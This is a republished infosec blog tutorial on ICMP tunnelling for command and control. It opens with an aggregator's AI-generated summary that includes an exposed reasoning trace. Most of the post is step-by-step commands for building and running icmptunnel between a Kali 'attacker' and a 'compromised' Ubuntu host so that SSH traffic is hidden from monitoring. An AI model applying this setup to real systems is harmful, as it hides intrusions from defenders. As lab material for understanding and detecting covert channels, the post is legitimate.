Command and Control & Tunnelling via ICMP
嗯,用户让我总结一下这篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”之类的开头。首先,我得仔细阅读文章,抓住主要信息。 文章讲的是ICMP隧道技术,利用ICMP协议在两台计算机之间传输数据,隐藏在正常的网络流量中。ICMP主要用于网络诊断,比如ping命令。隧道技术通过将数据封装在ICMP包里,看起来像普通的ping请求和回复,但实际上在传输数据。 接着,文章详细介绍了ICMP隧道的工作原理:数据被封装在ICMP包里发送出去,接收方提取数据并处理。黑客常用这种技术来隐蔽通信,避免被安全系统检测到。还提到了一个工具Pingtunnel,它允许通过ICMP隧道传输TCP流量。 最后,文章演示了如何在Kali和Ubuntu上安装和配置ICMPtunnel,并测试了隐蔽通信的效果。用户通过Wireshark观察到大量ICMP包而没有明显的SSH流量。 总结起来,文章主要介绍了ICMP隧道的概念、工作原理、应用以及实际操作步骤。我需要把这些信息浓缩到一百字以内。 </think> 本文介绍了ICMP隧道技术及其工作原理。通过将数据封装在ICMP Echo Request和Reply包中,实现隐蔽的数据传输。黑客利用此技术进行秘密通信以规避检测。文中还演示了如何使用Pingtunnel工具在Linux系统间建立基于ICMP的隐蔽通信通道,并验证了其有效性。 2025-12-15 10:49:9 Author: infosecwriteups.com(查看原文) 阅读量:9 收藏

Gopu Nair

Press enter or click to view image in full size

ICMP tunneling is a technique that uses the ICMP (Internet Control Message Protocol) to send data between two computers in a way that hides the data inside regular network traffic, like ping requests and replies.

What is ICMP?

ICMP is mainly used for network diagnostics. The most common use is the ping command, where one computer sends an “echo request” to another, and the second computer replies with an “echo reply.” It’s a way to check if a device is online and reachable.

ICMP Tunneling

Instead of just using ICMP for network testing, ICMP tunneling allows data (like messages or files) to be secretly hidden in those echo requests and replies.
It makes it look like normal ping traffic, but in reality, it’s a way to send data covertly between two computers.

How it Works

  • Encapsulation
    A piece of data (e.g., a file) is wrapped inside an ICMP packet, like hiding it inside a regular envelope.
  • Sending Data
    The sender sends this wrapped data in an ICMP Echo Request to the receiver. It looks like a simple ping.
  • Receiving and Extracting
    The receiver extracts the hidden data from the ICMP packet (like opening the envelope to read the message).
  • Response
    The receiver sends back an ICMP Echo Reply with the same data, and the sender extracts it.

Hacker’s Use of ICMP Tunneling

Once a hacker successfully compromises a target system, they often need to establish communication with the attacker’s device or send data back to it. If they use normal communication methods, such as HTTP or FTP, these activities might be detected by network security systems, firewalls, or intrusion detection systems (IDS). To avoid detection, the hacker will use ICMP tunneling.

How the Pingtunnel Tool Works

Pingtunnel is a tool that creates a secret communication channel using ICMP packets, mainly through ping requests and replies. It allows users to tunnel TCP traffic (like a website connection or a remote session) over ICMP, making the communication appear like normal ping traffic.

Working Process of ICMPTunnel

1, Setup

You run ICMPTunnel on both ends
1. Client side: Attacker’s system
2, Server side: Target machine (already compromised)
The server runs ICMPTunnel in listen mode and waits for ICMP traffic.
The client sends ICMP Echo Request packets with data inside.

2, Encapsulation

  • When the client wants to send TCP/IP traffic (like SSH, HTTP, etc.), ICMPTunnel wraps this data inside ICMP Echo Request packets.

3, Transmission

  • The ICMP Echo Request packets look like normal ping traffic.
    These packets travel through the network, often passing firewalls since ping is usually allowed.

4. Extraction and Response

  • The server receives the ICMP packet, extracts the hidden data, processes the request (like opening a TCP session), and sends a reply inside an ICMP Echo Reply packet.

5. Continuous Communication

  • This exchange of ICMP Echo Request and Echo Reply continues, enabling a two-way tunnel that looks like harmless ping traffic but actually carries full network communication.

Installing ICMPtunnel On both Kali and Ubuntu

In this demonstration, we use ICMP Tunneling for Command & Control between two Linux machines.

  • Client: Kali Linux
  • Server: Ubuntu

Server Machine Configuration (Ubuntu)

  1. Clone and Compile
sudo su

git clone https://github.com/jamesbarlow/icmptunnel.git

cd icmptunnel

make

Press enter or click to view image in full size

2, Disable ICMP Echo Reply

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

Press enter or click to view image in full size

3, Start the ICMP Tunnel Server

sudo ./icmptunnel -s

Once started, press Ctrl+z to pause the process, then run

bg

Press enter or click to view image in full size

This sends the process to the background

Get Gopu Nair’s stories in your inbox

Join Medium for free to get updates from this writer.

4, Assign IP to Tunnel Interface

sudo /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

Press enter or click to view image in full size

This creates a virtual interface tun0 which will handle the tunneled traffic

Press enter or click to view image in full size

Client Machine Configuration (Kali)

1, Clone and Compile

git clone https://github.com/jamesbarlow/icmptunnel.git

cd icmptunnel

make

Press enter or click to view image in full size

2, Disable ICMP Echo Reply

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

3, Start ICMP Tunnel Client

sudo ./icmptunnel <ubuntu ip>

replace <ubuntu ip> with your Ubuntu mechine ip address
Then enter
Pause the process with Ctrl + z , then background it

bg

Press enter or click to view image in full size

4, Assign IP to Client’s Tunnel Interface

sudo /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

Press enter or click to view image in full size

Press enter or click to view image in full size

After completing the setup, I connected to the Ubuntu machine via SSH from my Kali machine. Then, I opened Wireshark and applied the filter for SSH traffic, but I didn’t see any SSH-related packets.

Press enter or click to view image in full size

Then, I applied an ICMP filter in Wireshark and observed an unusually high number of packets being sent and received between the Kali and Ubuntu machines. This indicates that communication is actively taking place. In the background, data from both machines is being hidden inside ICMP packets and exchanged through echo requests and replies. To a normal observer, this traffic would appear as regular ping requests and responses, making it difficult to detect the covert communication.


文章来源: https://infosecwriteups.com/command-and-control-tunnelling-via-icmp-ad15f8afd233?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh